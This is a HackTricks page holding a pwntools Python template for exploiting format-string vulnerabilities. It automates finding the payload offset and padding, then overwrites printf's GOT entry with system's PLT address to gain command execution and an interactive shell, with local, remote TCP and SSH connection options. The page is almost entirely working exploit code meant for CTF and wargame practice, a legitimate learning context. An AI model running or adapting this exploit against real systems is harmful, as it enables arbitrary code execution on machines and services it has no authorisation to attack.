hacktricks/exploiting/linux-exploiting-basic-esp/format-strings-template.md

# Format Strings Template

```python
from pwn import *
from time import sleep

####################
#### CONNECTION ####
####################

# Define how you want to exploit the binary
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False

# Configure vulnerable binary
LOCAL_BIN = "./tyler"
REMOTE_BIN = "./tyler" #For ssh

# In order to exploit the format string you may need to append/prepend some string to the payload
# configure them here
PREFIX_PAYLOAD = b"echo "
SUFFIX_PAYLOAD = b""
NNUM_ALREADY_WRITTEN_BYTES = 70
MAX_LENTGH = 999999 #Big num if not restricted

print(" ====================== ")
print("Selected options:")
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
print(" ====================== ")


def connect_binary():
    global P, ELF_LOADED, ROP_LOADED

    if LOCAL:
        P = process(LOCAL_BIN) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

    elif REMOTETTCP:
        P = remote('10.10.10.10',1338) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

    elif REMOTESSH:
        ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
        P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
        ROP_LOADED = ROP(elf)# Find ROP gadgets


########################################
#### Get format string configuration ###
########################################

def send_payload(payload):
    payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
    log.info("payload = %s" % repr(payload))
    if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
    P.sendline(payload)
    sleep(0.5)
    return P.recv()


def get_formatstring_config():
    global P

    for offset in range(1,1000):
        connect_binary()
        P.clean()

        payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
        recieved = send_payload(payload).strip()

        if b"41" in recieved:
            for padlen in range(0,4):              
                if b"41414141" in recieved:
                    if not P.connected(): connect_binary()
                    payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
                    recieved = send_payload(payload).strip()
                    print(recieved)
                    if b"42424242" in recieved:
                        log.info(f"Found offset ({offset}) and padlen ({padlen})")
                        return offset, padlen
                
                else:
                    payload = b" " + payload
                    recieved = send_payload(payload).strip()


# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string

offset, padlen = get_formatstring_config()


# In this template, the GOT of printf (the part of the GOT table that points to where the printf
# function resides) is going to be modified by the address of the system inside the PLT (the
# part of the code that will jump to the system function).
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf

# In some scenarios you will need to loop1 more time to the vulnerability
# In that cases you need to overwrite a pointer in the .fini_array for example
# Uncomment the commented code below to gain 1 rexecution extra

#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
SYSTEM_PLT = ELF_LOADED.plt["system"]
P_GOT = ELF_LOADED.got["printf"]

#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
log.info(f"Printf GOT address: {hex(P_GOT)}")

if not P.connected(): connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
    # attach gdb and continue
    # You can set breakpoints, for example "break *main"
    gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
    sleep(5)

format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
format_string.write(P_GOT, SYSTEM_PLT)
format_string.execute_writes()

# Now that printf function is executing system you just need to find a place where you can
# control the parameters passed to printf to execute arbitrary code.

P.interactive()
```